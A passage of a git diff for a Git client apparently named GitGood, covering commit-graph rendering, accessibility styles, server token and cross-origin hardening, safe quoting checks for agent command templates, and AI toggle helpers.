selectedLines: null, blameOn: false, blame: null, blameLoading: false, activeBlameId: null, highlightTerm: null, revealLine: null }; @@ -507,6 +518,7 @@ const initialState: AppState = { statusLoading: false, branches: [], defaultBranch: null, + stack: { parents: [], canUpdateRefs: false }, stashes: [], tags: [], remotes: [], @@ -592,6 +604,11 @@ export function useAppStore(selector: (s: AppState) => R): R { return useSyncExternalStore(store.subscribe, () => selector(store.get()), () => selector(store.get())); } +/** Whether AI actions should be offered: a provider is on and the current repository has not opted out. Non-reactive callers use `aiEnabled(store.get().settings, store.get().currentRepo)`. */ +export function useAiEnabled(): boolean { + return useAppStore((s) => aiEnabled(s.settings, s.currentRepo)); +} + export function patchChanges(patch: Partial | ((c: ChangesState) => Partial)): void { store.set((s) => ({ changes: { ...s.changes, ...(typeof patch === 'function' ? patch(s.changes) : patch) } })); } diff --git a/src/renderer/src/styles/components.css b/src/renderer/src/styles/components.css index 712ac5f..298420f 100644 --- a/src/renderer/src/styles/components.css +++ b/src/renderer/src/styles/components.css @@ -796,6 +796,27 @@ .commit-row:active .commit-drag-handle { cursor: grabbing; } +/* Commit graph gutter (HistoryTab GraphGutter): one fixed-height svg per row, bled over the row's vertical padding so lines join between rows. Hidden on phone layouts, where rows grow. */ +.commit-row .commit-graph { + flex: none; + margin: -6px 0 -6px -4px; + overflow: visible; + fill: none; + stroke-width: 2; + stroke-linecap: round; +} +.commit-graph .graph-c0 { stroke: #2f81f7; color: #2f81f7; } +.commit-graph .graph-c1 { stroke: #d1672e; color: #d1672e; } +.commit-graph .graph-c2 { stroke: #2da44e; color: #2da44e; } +.commit-graph .graph-c3 { stroke: #a371f7; color: #a371f7; } +.commit-graph .graph-c4 { stroke: #d4a72c; color: #d4a72c; } +.commit-graph .graph-c5 { stroke: #e5534b; color: #e5534b; } +.commit-graph .graph-c6 { stroke: #1b9aaa; color: #1b9aaa; } +.commit-graph .graph-c7 { stroke: #bf4b8a; color: #bf4b8a; } +.commit-graph circle[class] { + fill: currentColor; + stroke: none; +} .commit-row .unpushed { color: var(--fg-muted); } @@ -857,14 +878,30 @@ min-height: 0; } .commit-files { - width: min(280px, 32%); + position: relative; + width: var(--commit-files-width, min(280px, 32%)); min-width: 160px; + max-width: 60%; flex: 0 0 auto; border-right: 1px solid var(--border); display: flex; flex-direction: column; min-height: 0; } +.commit-files-resizer { + position: absolute; + top: 0; + right: -3px; + width: 6px; + height: 100%; + cursor: col-resize; + z-index: 5; +} +.commit-files-resizer:hover, +.commit-files-resizer.active, +.commit-files-resizer:focus-visible { + background: var(--accent-muted); +} .commit-files .changes-header { font-weight: 500; color: var(--fg-muted); @@ -1445,6 +1482,9 @@ .commit-row .commit-drag-handle { display: none; } + .commit-row .commit-graph { + display: none; + } .commit-summary { padding: 12px 14px; @@ -1464,9 +1504,13 @@ .commit-body { flex-direction: column; } + .commit-files-resizer { + display: none; + } .app[data-view='history'][data-pane='detail'] .commit-files { width: 100%; min-width: 0; + max-width: none; flex: 1; border-right: none; } @@ -1831,6 +1875,9 @@ border-right: none; border-bottom: 1px solid var(--border); } + .commit-files-resizer { + display: none; + } #commit-diff-slot { min-height: 0; } diff --git a/src/renderer/src/styles/diff.css b/src/renderer/src/styles/diff.css index e3cbba9..001fbfa 100644 --- a/src/renderer/src/styles/diff.css +++ b/src/renderer/src/styles/diff.css @@ -101,7 +101,7 @@ table.diff .num { min-width: 50px; text-align: right; padding: 0 8px 0 4px; - color: var(--fg-subtle); + color: var(--fg-muted); user-select: none; background: var(--bg-subtle); white-space: nowrap; @@ -119,7 +119,7 @@ table.diff .sel { background: var(--bg-subtle); } table.diff tr:hover .sel { - color: var(--fg-subtle); + color: var(--fg-muted); } table.diff .sel.on { color: var(--accent); @@ -361,7 +361,7 @@ table.diff tr.expander button:hover { min-width: 50px; text-align: right; padding: 0 8px 0 4px; - color: var(--fg-subtle); + color: var(--fg-muted); user-select: none; background: var(--bg-subtle); } @@ -585,7 +585,7 @@ table.diff tr.flash-highlight td { } table.diff tr:hover .sel, table.diff .sel { - color: var(--fg-subtle); + color: var(--fg-muted); } table.diff tr.hunk .hunk-actions button { min-height: 40px; diff --git a/src/renderer/src/styles/forced-colors.css b/src/renderer/src/styles/forced-colors.css new file mode 100644 index 0000000..eb613a8 --- /dev/null +++ b/src/renderer/src/styles/forced-colors.css @@ -0,0 +1,101 @@ +/* Windows High Contrast / forced-colors: the browser replaces our palette with system colours, dropping backgrounds + tints and box-shadows. Selection, focus, buttons, badges and diff markers that rely on those must be restated with + system colours and borders/outlines/text to stay distinguishable. Imported last so it wins ties. */ +@media (forced-colors: active) { + /* Selected rows and the active tab. */ + .list-row.selected, + .file-row.selected, + .commit-row.selected { + background: Highlight; + color: HighlightText; + } + .list-row.selected *, + .file-row.selected *, + .commit-row.selected * { + color: HighlightText; + } + .tab.active, + .tabbar-item.active { + border-bottom-color: Highlight; + text-decoration: underline; + } + + /* Focus rings: box-shadow rings vanish, so use real outlines. A selected row is filled with Highlight, so its ring flips to HighlightText. */ + .commit-row:focus-visible, + .file-row:focus-visible, + .list-row:focus-visible { + outline: 2px solid CanvasText; + outline-offset: -2px; + } + .commit-row.selected:focus-visible, + .file-row.selected:focus-visible, + .list-row.selected:focus-visible { + outline-color: HighlightText; + } + input:focus-visible, + textarea:focus-visible, + select:focus-visible, + .commit-files-resizer:focus-visible { + outline: 2px solid Highlight; + outline-offset: 1px; + } + .inbox-item.focused { + outline-color: Highlight; + } + .sidebar-resizer:hover, + .sidebar-resizer.active, + .commit-files-resizer:hover, + .commit-files-resizer.active { + background: Highlight; + } + + /* Buttons and badges: tinted fills are gone, so give each a visible border; emphasis buttons use the Highlight border. */ + .btn { + border-color: ButtonText; + } + .btn.primary, + .btn.accent { + border-color: Highlight; + border-width: 2px; + } + .btn.ghost { + border-color: transparent; + } + .btn.ghost:hover:not(:disabled) { + border-color: Highlight; + } + .btn.link { + color: LinkText; + } + .btn:disabled { + color: GrayText; + border-color: GrayText; + } + .badge { + border: 1px solid CanvasText; + } + + /* Diff: the +/− marker characters carry meaning in unified view; split view (no marker) and word highlights get borders/underlines. */ + table.diff .marker { + color: CanvasText; + font-weight: 700; + } + table.diff.unified tr.add .code, + table.diff .code.add-code { + border-left: 3px solid LinkText; + } + table.diff.unified tr.delete .code, + table.diff .code.del-code { + border-left: 3px dashed CanvasText; + } + table.diff .word-add { + text-decoration: underline; + } + table.diff .word-del { + text-decoration: line-through; + } + table.diff tr.selected-line .code { + outline: 2px solid Highlight; + outline-offset: -2px; + } +} diff --git a/src/renderer/src/styles/layout.css b/src/renderer/src/styles/layout.css index d629ad3..1f736af 100644 --- a/src/renderer/src/styles/layout.css +++ b/src/renderer/src/styles/layout.css @@ -983,3 +983,31 @@ } } } + +/* Desktop drag-and-drop of folders onto the window (see components/DropZone.tsx). */ +.drop-overlay { + position: fixed; + inset: 0; + z-index: 400; + display: flex; + align-items: center; + justify-content: center; + background: color-mix(in srgb, var(--bg) 82%, transparent); + pointer-events: none; +} +.drop-overlay-card { + display: flex; + flex-direction: column; + align-items: center; + gap: 8px; + padding: 40px 56px; + border: 2px dashed var(--accent); + border-radius: 12px; + background: var(--bg-overlay); + color: var(--fg); + text-align: center; +} +.drop-overlay-card p { + margin: 0; + color: var(--fg-muted); +} diff --git a/src/server/index.ts b/src/server/index.ts index e7880da..2c756dd 100644 --- a/src/server/index.ts +++ b/src/server/index.ts @@ -8,6 +8,7 @@ import { brotliCompress, brotliCompressSync, constants as zlibConstants, gzip, g import type { ApiMethodName } from '@shared/ipc'; import type { GitErrorInfo, InboxItem, IpcResult } from '@shared/types'; import { ConflictResolver } from '../main/ai/resolver'; +import { configureUsage } from '../main/ai/usage'; import { ErrorExplainService } from '../main/ai/error-explain'; import { ExplainService } from '../main/ai/explain'; import { NlPaletteService } from '../main/ai/nlPalette'; @@ -37,7 +38,7 @@ import { auditLine, isMutating, KeyedMutex, locksRepo, mutationKey, RateLimiter import { loadServerConfig, type ServerConfig } from './config'; import { hostOk, identityOk, offendingPath, originOk, pathArgs, tokenOk } from './security'; import { WebHost } from './web-host'; -import { BRIDGE_TAG, bridgeScript } from './web-bridge'; +import { BRIDGE_TAG, bridgeFetchAllowed, bridgeScript } from './web-bridge'; import { WsHub } from './ws'; const RELEASES_URL = 'https://github.com/erwin-wee/gitgood/releases'; @@ -189,10 +190,13 @@ async function main(): Promise { const git = new GitClient(tools); const gh = new GhClient(tools); const bus = new EventBus(); + tools.onChange((state) => bus.emit('tools.changed', state)); const host = new WebHost(config.version, config.userData); const busy = new Set(); const repos = new RepositoryManager(store, git, bus.emit); + tools.policyRepo = (repoPath) => repos.policyRepo(repoPath); + configureUsage(config.userData); const resolver = new ConflictResolver(store, tools, git); const review = new ReviewService(store, tools, git, gh, repos, config.userData); const splitter = new SplitterService(store, tools, git); @@ -332,7 +336,11 @@ async function main(): Promise { const serveStatic = (req: IncomingMessage, res: ServerResponse): void => { const url = new URL(req.url ?? '/', 'http://127.0.0.1'); if (url.pathname === '/gitgood-bridge.js') { - res.writeHead(200, { 'Content-Type': 'text/javascript; charset=utf-8', 'Cache-Control': 'no-store' }).end(bridgeScript(config.token, process.platform)); + // The script embeds the token: a cross-site page must not be able to include it. + if (!bridgeFetchAllowed(req.headers['sec-fetch-site'])) return fail(res, 403, 'Cross-origin request rejected.'); + res + .writeHead(200, { 'Content-Type': 'text/javascript; charset=utf-8', 'Cache-Control': 'no-store', 'Cross-Origin-Resource-Policy': 'same-origin' }) + .end(bridgeScript(config.token, process.platform, config.version)); return; } let decoded: string; @@ -408,15 +416,15 @@ async function main(): Promise { watchedFolders.watchSettings(); void tools.refresh().then((state) => { log.info(`git: ${state.git.version ?? 'missing'}; gh: ${state.gh.version ?? 'missing'}; account: ${state.ghAccount?.login ?? 'none'}`); - bus.emit('tools.changed', state); if (store.getSettings().watchedFolders.length) void watchedFolders.scan().catch((err) => log.error('Watched-folder scan failed', err)); }); server.listen(config.port, config.host, () => { log.info(`GitGood server ${config.version} listening on http://${config.host}:${config.port}`); log.info(`Expose it on your tailnet with: tailscale serve --bg ${config.port}`); - if (config.tokenCreated) log.info(`Access token (shown once): ${config.token}`); - else log.info(`Access token stored at ${join(config.userData, 'server-token')}`); + // The token never goes through the logger (journal/log files are not secret stores): print it once to an interactive terminal, otherwise point at the 0600 file. + if (config.tokenCreated && process.stdout.isTTY) process.stdout.write(`Access token (shown once): ${config.token}\n`); + log.info(`Access token stored at ${join(config.userData, 'server-token')}`); if (config.allowedLogin) log.info(`Tailnet access allowed for ${config.allowedLogin}`); else log.warn('No Tailscale login to allow (set GITGOOD_ALLOWED_LOGIN): requests through tailscale serve are refused.'); }); diff --git a/src/server/limits.ts b/src/server/limits.ts index 0b472e0..8555ea1 100644 --- a/src/server/limits.ts +++ b/src/server/limits.ts @@ -1,6 +1,6 @@ import { pathArgs } from './security'; -const MUTATING_LEAF = /^(apply|undo|create|clone|remove|delete|deleteRemote|deleteMany|merge|rebase|revert|squash|reorder|reword|drop|import|sync|publish|fork|run|pop|push|pull|stage|unstage|checkout|checkoutCommit|checkoutRemoteBranch|prune|gc|expire|install|track|set|setState|setIdentity|unsetLocalIdentity|setAlias|setLfsTracking|write|writeFile|add|insert|markResolved|useSide|useSideForBlock|unresolve|trustConfig|post|dismiss|applySuggestion|comment|review|ready|close|reopen|login|logout|setupGit|refreshScopes|cancelLogin|enable|disable|upload|download|setApiKey|moveToTrash|removeLockFile|resolve|resolveAll|resolveAllGuided|clearExamples|start|startWorktree)$/; +const MUTATING_LEAF = /^(apply|undo|create|clone|remove|delete|deleteRemote|deleteMany|merge|rebase|revert|squash|reorder|reword|drop|import|sync|publish|fork|run|pop|push|pull|stage|unstage|checkout|checkoutCommit|checkoutRemoteBranch|prune|gc|expire|install|track|set|setState|setIdentity|unsetLocalIdentity|setAlias|setPrefs|setLfsTracking|write|writeFile|add|insert|markResolved|useSide|useSideForBlock|unresolve|trustConfig|post|dismiss|applySuggestion|comment|review|ready|close|reopen|disableAutoMerge|login|logout|setupGit|refreshScopes|cancelLogin|enable|disable|upload|download|setApiKey|setOpenaiApiKey|setAiDisabled|moveToTrash|removeLockFile|resolve|resolveAll|resolveAllGuided|clearExamples|start|startWorktree)$/; /** Whether a method changes state (git ops, writes, AI applies). Matches on the leaf segment so `repo.commit.details` (a read) is not mistaken for `git.commit`. */ export function isMutating(method: string): boolean { @@ -13,7 +13,7 @@ export function isMutating(method: string): boolean { * minutes (network, AI reviews/triage): holding the repository lock through * them would stall every commit or stage on that repository meanwhile. */ -const LONG_READ_ONLY = /^(git\.(fetch|push)|ai\.review\.(start|startWorktree|post)|ai\.triage\.run)$/; +const LONG_READ_ONLY = /^(git\.(fetch|push|pushStack)|ai\.review\.(start|startWorktree|post)|ai\.triage\.run)$/; /** Whether a mutation must hold its repository's lock (`KeyedMutex`). */ export function locksRepo(method: string): boolean { diff --git a/src/server/security.ts b/src/server/security.ts index ef8e081..775495f 100644 --- a/src/server/security.ts +++ b/src/server/security.ts @@ -7,7 +7,7 @@ import { isInside } from '../main/repo/paths'; /** Reads the persisted bearer token, generating and storing a fresh 256-bit one on first run. */ export function loadOrCreateToken(tokenFile: string, dir: string): string { if (existsSync(tokenFile)) return readFileSync(tokenFile, 'utf8').trim(); - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); const token = randomBytes(32).toString('hex'); writeFileSync(tokenFile, token, { mode: 0o600 }); try { @@ -91,7 +91,7 @@ export function originOk(req: IncomingMessage): boolean { /** Methods under `repo.`/`git.`/`gh.`/`ai.` whose first argument is not a repository path. */ const NO_REPO_ARG = /^(gh\.(auth|repos|orgs|inbox)\.|gh\.(gitignoreTemplates|licenses|avatar)$|ai\.(cancel|test)$)/; /** Other methods whose first argument is a filesystem path. */ -const FIRST_ARG_PATH = /^(repos\.(add|watchedFolders\.add|isInWatchedFolder|exclusions\.remove)|app\.(showItemInFolder|openPath|pathExists|isRepository|moveToTrash|openInEditor|openInShell)|settings\.(exportToFile|previewImport|import))$/; +const FIRST_ARG_PATH = /^(repos\.(add|watchedFolders\.add|isInWatchedFolder|exclusions\.remove)|app\.(showItemInFolder|openPath|pathExists|isRepository|moveToTrash|openInEditor|openInShell|openDiffTool|openMergeTool)|settings\.(exportToFile|previewImport|import))$/; function field(value: unknown, key: string): unknown { return value !== null && typeof value === 'object' ? Reflect.get(value, key) : undefined; diff --git a/src/server/web-bridge.ts b/src/server/web-bridge.ts index 4e99f52..1cec782 100644 --- a/src/server/web-bridge.ts +++ b/src/server/web-bridge.ts @@ -31,15 +31,32 @@ export const WEB_BRIDGE_JS = `(function () { window.addEventListener('blur', reportFocus); } var connectedBefore = false; + var connected = true; + var attempt = 0; var socket = null; + function setConnected(next) { + if (connected === next) return; + connected = next; + emit('server.connection', { connected: next }); + } + // The desktop client watches the server version itself (src/main/client.ts); a browser tab compares on reconnect. + function checkServerVersion() { + if (native || !cfg.version) return; + fetch('/version', { cache: 'no-store' }).then(function (res) { return res.ok ? res.json() : null; }).then(function (body) { + if (body && body.version && body.version !== cfg.version) emit('server.updated', { version: body.version }); + }, function () {}); + } function connect() { var proto = location.protocol === 'https:' ? 'wss:' : 'ws:'; socket = new WebSocket(proto + '//' + location.host + '/events?token=' + encodeURIComponent(token) + '&client=' + encodeURIComponent(clientId)); socket.onopen = function () { + attempt = 0; + setConnected(true); // Events sent while disconnected are lost: re-open the repository and let the renderer refresh (it does so when focused; // an unfocused page refreshes on its next focus event). if (connectedBefore) { (openRepo ? httpInvoke('repo.open', [openRepo]) : Promise.resolve()).then(function () { emit('window.focus', { focused: document.visibilityState === 'visible' && document.hasFocus() }); }); + checkServerVersion(); } connectedBefore = true; }; @@ -49,7 +66,11 @@ export const WEB_BRIDGE_JS = `(function () { emit(msg.event, msg.payload); if (native && (msg.event === 'gh.inbox.changed' || msg.event === 'gh.inbox.new')) native.serverEvent(msg.event, msg.payload); }; - socket.onclose = function () { setTimeout(connect, 1000); }; + socket.onclose = function () { + setConnected(false); + // 1s, 2s, 4s ... capped at 30s, so a server that is down for a while is not hammered. + setTimeout(connect, Math.min(30000, 1000 * Math.pow(2, attempt++))); + }; socket.onerror = function () { try { socket.close(); } catch (e) {} }; } connect(); @@ -67,89 +88,10 @@ export const WEB_BRIDGE_JS = `(function () { return { ok: false, error: { message: String((err && err.message) || err), command: '', exitCode: null, stderr: '', stdout: '', code: 'network' } }; }); } + // The folder picker is a dialog of the React app (ServerFolderPicker): it answers by calling done. function pickDirectory(opts) { - return new Promise(function (done) { - var overlay = document.createElement('div'); - overlay.style.cssText = 'position:fixed;inset:0;background:rgba(0,0,0,.5);z-index:2147483647;display:flex;align-items:center;justify-content:center;font:13px system-ui,-apple-system,sans-serif'; - var modal = document.createElement('div'); - modal.style.cssText = 'background:#1f1f1f;color:#eee;width:min(560px,92vw);max-height:72vh;display:flex;flex-direction:column;border-radius:8px;overflow:hidden;box-shadow:0 12px 48px rgba(0,0,0,.6)'; - var header = document.createElement('div'); - header.style.cssText = 'padding:12px 16px;font-weight:600;border-bottom:1px solid #333'; - header.textContent = (opts && opts.title) || 'Choose a folder on the server'; - var crumb = document.createElement('input'); - crumb.placeholder = 'Type a path and press Enter'; - crumb.spellcheck = false; - crumb.style.cssText = 'margin:8px 16px;padding:6px 8px;background:#111;color:#8ab4f8;border:1px solid #333;border-radius:4px;font:12px ui-monospace,monospace'; - var status = document.createElement('div'); - status.style.cssText = 'padding:0 16px 8px;color:#f28b82;font-size:12px;border-bottom:1px solid #333'; - var list = document.createElement('div'); - list.style.cssText = 'flex:1;overflow:auto;min-height:220px'; - var footer = document.createElement('div'); - footer.style.cssText = 'padding:10px 16px;display:flex;gap:8px;justify-content:flex-end;border-top:1px solid #333'; - var cancelBtn = document.createElement('button'); - cancelBtn.textContent = 'Cancel'; - cancelBtn.style.cssText = 'padding:6px 14px;cursor:pointer'; - var selectBtn = document.createElement('button'); - selectBtn.textContent = 'Select'; - selectBtn.style.cssText = 'padding:6px 14px;cursor:pointer'; - footer.appendChild(cancelBtn); - footer.appendChild(selectBtn); - modal.appendChild(header); - modal.appendChild(crumb); - modal.appendChild(status); - modal.appendChild(list); - modal.appendChild(footer); - overlay.appendChild(modal); - document.body.appendChild(overlay); - var current = null; - function finish(value) { document.body.removeChild(overlay); done({ ok: true, value: value }); } - cancelBtn.onclick = function () { finish(null); }; - // A typed but not yet opened path is opened (and so validated) before it is selected. - selectBtn.onclick = function () { - var typed = crumb.value.trim(); - if (typed && typed !== current) render(typed, function () { finish(current); }); - else finish(current); - }; - crumb.onkeydown = function (e) { - if (e.key === 'Enter') { e.preventDefault(); render(crumb.value.trim() || null); } - else if (e.key === 'Escape') finish(null); - }; - function row(label) { - var d = document.createElement('div'); - d.textContent = label; - d.style.cssText = 'padding:8px 16px;cursor:pointer;border-bottom:1px solid #262626'; - d.onmouseenter = function () { d.style.background = '#2a2a2a'; }; - d.onmouseleave = function () { d.style.background = ''; }; - return d; - } - function render(path, then) { - httpInvoke('app.listDir', [path]).then(function (res) { - if (!res.ok) { status.textContent = res.error.message; return; } - status.textContent = ''; - current = res.value.path; - crumb.value = current || ''; - selectBtn.disabled = !current; - if (then) return then(); - list.innerHTML = ''; - if (res.value.parent !== null || current) { - var up = row('\u2190 Up'); - up.onclick = function () { render(res.value.parent); }; - list.appendChild(up); - } - res.value.entries.forEach(function (e) { - var r = row('\uD83D\uDCC1 ' + e.name); - r.onclick = function () { render(e.path); }; - list.appendChild(r); - }); - if (!res.value.entries.length) { - var empty = row('(no subfolders)'); - empty.style.opacity = '.5'; - empty.style.cursor = 'default'; - list.appendChild(empty); - } - }); - } - render(null); + return new Promise(function (resolve) { + emit('server.pickDirectory', { opts: opts, done: function (value) { resolve({ ok: true, value: value }); } }); }); } function webInvoke(method, args) { @@ -167,6 +109,7 @@ export const WEB_BRIDGE_JS = `(function () { // Editor/terminal integrations run on the server's machine: a browser may be elsewhere, so only the desktop client (which blocks them for remote servers) sends them. if (!native && method === 'app.openInEditor') return unsupported('Open in editor is only available in the desktop app.'); if (!native && method === 'app.openInShell') return unsupported('Open in terminal is only available in the desktop app.'); + if (!native && (method === 'app.openDiffTool' || method === 'app.openMergeTool')) return unsupported('External diff and merge tools are only available in the desktop app.'); return httpInvoke(method, args); } window.gitgoodBridge = { @@ -188,7 +131,16 @@ export const WEB_BRIDGE_JS = `(function () { /** The head snippet the server injects before the app bundle. External only: inline scripts violate the CSP. */ export const BRIDGE_TAG = ''; +/** + * `/gitgood-bridge.js` embeds the token, so a page on another origin must not be able to include it: browsers + * label such requests `Sec-Fetch-Site: cross-site|same-site`. Same-origin loads, address-bar navigation (`none`) + * and clients that send no fetch metadata (the desktop client's Node fetch) pass. + */ +export function bridgeFetchAllowed(secFetchSite: string | string[] | undefined): boolean { + return secFetchSite === undefined || secFetchSite === 'same-origin' || secFetchSite === 'none'; +} + /** The served `/gitgood-bridge.js`: config globals followed by the bridge. */ -export function bridgeScript(token: string, platform: string): string { - return `window.__GITGOOD__=${JSON.stringify({ token, platform })};\n${WEB_BRIDGE_JS}`; +export function bridgeScript(token: string, platform: string, version: string): string { + return `window.__GITGOOD__=${JSON.stringify({ token, platform, version })};\n${WEB_BRIDGE_JS}`; } diff --git a/src/server/web-host.ts b/src/server/web-host.ts index 69e205d..5c0bf82 100644 --- a/src/server/web-host.ts +++ b/src/server/web-host.ts @@ -84,4 +84,12 @@ export class WebHost implements HostCapabilities { // Zoom is native to the browser in web mode. return 0; } + + async openWindow(): Promise { + throw new UnsupportedCapabilityError('openWindow'); + } + + setMenuShortcuts(): void { + // No application menu in web mode: the page handles its own shortcuts. + } } diff --git a/src/shared/agent-presets.ts b/src/shared/agent-presets.ts index 7fccded..58d6bab 100644 --- a/src/shared/agent-presets.ts +++ b/src/shared/agent-presets.ts @@ -34,10 +34,34 @@ export function agentTemplate(settings: Pick p.id === settings.agentCommand)?.template ?? AGENT_PRESETS[0].template; } +/** Placeholders must be in balanced literal double quotes, not escaped quotes or a command substitution. */ +function placeholdersQuoted(template: string, quoting: CommandQuoting): boolean { + // Parsing nested shell programs is deliberately unsupported: their quote scope is different. + if (quoting !== 'cmd' && template.includes('$(')) return false; + if (quoting === 'posix' && template.includes('`')) return false; + let quote: string | null = null; + for (let i = 0; i < template.length; i++) { + if (template.startsWith(FILE_PLACEHOLDER, i)) { + if (quote !== '"') return false; + i += FILE_PLACEHOLDER.length - 1; + continue; + } + const c = template[i]; + const escaped = quoting === 'cmd' ? quote === null && c === '^' : quote !== "'" && c === (quoting === 'posix' ? '\\' : '`'); + if (escaped) { + if (template.startsWith(FILE_PLACEHOLDER, i + 1)) return false; + i++; + } else if (c === quote) quote = null; + else if (quote === null && (c === '"' || (quoting !== 'cmd' && c === "'"))) quote = c; + } + return quote === null; +} + /** Null when the template is usable, otherwise the message to show inline. */ -export function validateAgentTemplate(template: string): string | null { +export function validateAgentTemplate(template: string, quoting: CommandQuoting = 'posix'): string | null { if (!template.trim()) return 'Enter the command to run.'; if (!template.includes(FILE_PLACEHOLDER)) return `The command must contain ${FILE_PLACEHOLDER}`; + if (!placeholdersQuoted(template, quoting)) return `Write every ${FILE_PLACEHOLDER} inside balanced literal double quotes, e.g. agent "Read ${FILE_PLACEHOLDER}"; escaped quotes and command substitutions are not supported.`; return null; } @@ -49,6 +73,12 @@ export function validateAgentTemplate(template: string): string | null { */ export type CommandQuoting = 'posix' | 'powershell' | 'cmd'; +/** The parser used by a selected terminal; shared by settings validation and execution. */ +export function quotingFor(id: string | null, platform: string): CommandQuoting { + if (platform !== 'win32' || id === 'gitbash') return 'posix'; + return id === 'powershell' ? 'powershell' : 'cmd'; +} + /** * Escapes a path for insertion inside the double-quoted argument the presets * put `{file}` in. Every shell expands something different inside double @@ -65,5 +95,7 @@ export function escapePathForTemplate(file: string, quoting: CommandQuoting): st } export function expandAgentCommand(template: string, file: string, quoting: CommandQuoting): string { + const invalid = validateAgentTemplate(template, quoting); + if (invalid) throw new Error(invalid); return template.split(FILE_PLACEHOLDER).join(escapePathForTemplate(file, quoting)); } diff --git a/src/shared/ai-model.ts b/src/shared/ai-model.ts new file mode 100644 index 0000000..d5d8a78 --- /dev/null +++ b/src/shared/ai-model.ts @@ -0,0 +1,25 @@ +import type { AiFeature, AiSettings, AppSettings, RepositoryInfo } from './types'; + +/** Model for one feature: its non-empty override, else the global model of the active provider. */ +export function modelFor(settings: Pick, feature: AiFeature): string { + const override = settings.featureModels?.[feature]?.trim(); + if (override) return override; + return settings.provider === 'openai-compatible' ? settings.openaiModel : settings.model; +} + +/** True when AI is switched off for this repository, by the local toggle or by `"ai": false` in `.gitgood/config.json`. */ +export function repoAiDisabled(repo: Pick | null | undefined): boolean { + return !!repo && (!!repo.aiDisabled || !!repo.aiConfigOff); +} + +/** AI is usable: a provider is selected and the repository (if any) has not opted out. */ +export function aiEnabled(settings: Pick | null | undefined, repo: Pick | null | undefined): boolean { + return (settings?.ai.provider ?? 'disabled') !== 'disabled' && !repoAiDisabled(repo); +} + +/** Where prompts go, for "this is sent to …" copy. */ +export function aiProviderLabel(ai: Pick | undefined): string { + if (ai?.provider === 'claude-cli') return 'Claude Code'; + if (ai?.provider === 'openai-compatible') return `the AI server at ${ai.openaiBaseUrl || '(no URL set)'}`; + return 'the Anthropic API'; +} diff --git a/src/shared/diff/parse.ts b/src/shared/diff/parse.ts index b7cce69..c25ed9e 100644 --- a/src/shared/diff/parse.ts +++ b/src/shared/diff/parse.ts @@ -71,6 +71,16 @@ export function unquote(quoted: string): string { return new TextDecoder().decode(new Uint8Array(bytes)); } +/** Paths from a Git diff header, including C-quoted UTF-8/control characters. */ +export function pathsFromDiffHeader(line: string): { oldPath: string; newPath: string } | null { + const m = /^diff --git (?:"(a\/(?:[^"\\]|\\.)*)"|(a\/\S.*?)) (?:"(b\/(?:[^"\\]|\\.)*)"|(b\/.*))$/.exec(line); + if (!m) return null; + const a = m[1] ? unquote('"' + m[1] + '"') : m[2]; + const b = m[3] ? unquote('"' + m[3] + '"') : m[4]; + return a && b ? { oldPath: a.slice(2), newPath: b.slice(2) } : null; +} + + /** * Parses `git diff` output. Handles one or more file sections and returns them * in order; most callers only diff a single path and use parseUnifiedDiff. diff --git a/src/shared/graph.ts b/src/shared/graph.ts new file mode 100644 index 0000000..b29e50a --- /dev/null +++ b/src/shared/graph.ts @@ -0,0 +1,117 @@ +import type { Commit } from './types'; + +/** + * Commit-graph lane layout for the History list. + * + * Commits arrive newest-first in a topological order (`git log --date-order`: + * a parent is never listed before all its children). Each lane waits for one + * commit sha; a row is drawn in the lane that was waiting for it (or a fresh + * lane for a branch tip) and hands its lane on to its first parent, while + * extra (merge) parents get their own lanes. The state carried between rows + * is just the list of lanes, so a later page continues where the previous one + * stopped — O(lanes) per commit. + * + * Geometry of a row (each row is one fixed-height slot, node at mid-height): + * - `up`: from the top edge at lane `from` to the node at lane `to` + * - `down`: from the node at lane `from` to the bottom edge at lane `to` + * - `through`: a lane passing straight across the row (from === to) + */ +export type GraphSegment = { kind: 'up' | 'down' | 'through'; from: number; to: number; color: number }; + +export interface GraphRow { + /** Lane the commit's node sits in. */ + column: number; + segments: GraphSegment[]; + color: number; +} + +/** Color indexes cycle through this many hues. */ +export const GRAPH_COLORS = 8; + +interface LaneState { + /** Sha each lane is waiting for; null marks a free lane. */ + ids: (string | null)[]; + colors: number[]; + /** Next color index to hand to a new lane. */ + next: number; +} + +export interface Graph { + rows: GraphRow[]; + /** Widest row, in lanes (max lane index + 1 over every row computed so far). */ + width: number; + firstSha: string; + lastSha: string; + state: LaneState; +} + +type GraphCommit = Pick; + +function step(st: LaneState, { sha, parents }: GraphCommit): { row: GraphRow; width: number } { + const { ids, colors } = st; + const segments: GraphSegment[] = []; + let width = ids.length; + let column = ids.indexOf(sha); + let color: number; + if (column < 0) { + column = ids.indexOf(null); + if (column < 0) column = ids.length; + color = st.next++ % GRAPH_COLORS; + } else { + color = colors[column]; + } + width = Math.max(width, column + 1); + for (let i = 0; i < ids.length; i++) { + if (ids[i] === null) continue; + if (ids[i] === sha) { + segments.push({ kind: 'up', from: i, to: column, color: colors[i] }); + ids[i] = null; + } else { + segments.push({ kind: 'through', from: i, to: i, color: colors[i] }); + } + } + parents.forEach((p, k) => { + let lane = ids.indexOf(p); + let segColor = color; + if (lane >= 0) { + // Already expected further down by another child: join that lane. A merge-in takes the joined lane's color. + if (k > 0) segColor = colors[lane]; + } else if (k === 0) { + lane = column; + ids[lane] = p; + colors[lane] = color; + } else { + lane = ids.indexOf(null); + if (lane < 0) lane = ids.length; + ids[lane] = p; + colors[lane] = segColor = st.next++ % GRAPH_COLORS; + } + width = Math.max(width, lane + 1); + segments.push({ kind: 'down', from: column, to: lane, color: segColor }); + }); + while (ids.length && ids[ids.length - 1] === null) ids.pop(); + colors.length = ids.length; + return { row: { column, segments, color }, width }; +} + +/** + * Lays out `commits` (the full loaded list, newest first), reusing `prev` when + * it covers a prefix of the same list — a new page then costs only its own + * commits. A list that no longer starts the same way is recomputed from + * scratch. `prev` is never mutated. + */ +export function extendGraph(prev: Graph | null, commits: readonly GraphCommit[]): Graph { + const done = prev ? prev.rows.length : 0; + const reusable = !!prev && done > 0 && done <= commits.length && commits[0].sha === prev.firstSha && commits[done - 1].sha === prev.lastSha; + if (reusable && done === commits.length) return prev!; + const base = reusable ? prev! : null; + const state: LaneState = base ? { ids: [...base.state.ids], colors: [...base.state.colors], next: base.state.next } : { ids: [], colors: [], next: 0 }; + const rows = base ? base.rows.slice() : []; + let width = base ? base.width : 0; + for (let i = base ? done : 0; i < commits.length; i++) { + const r = step(state, commits[i]); + rows.push(r.row); + if 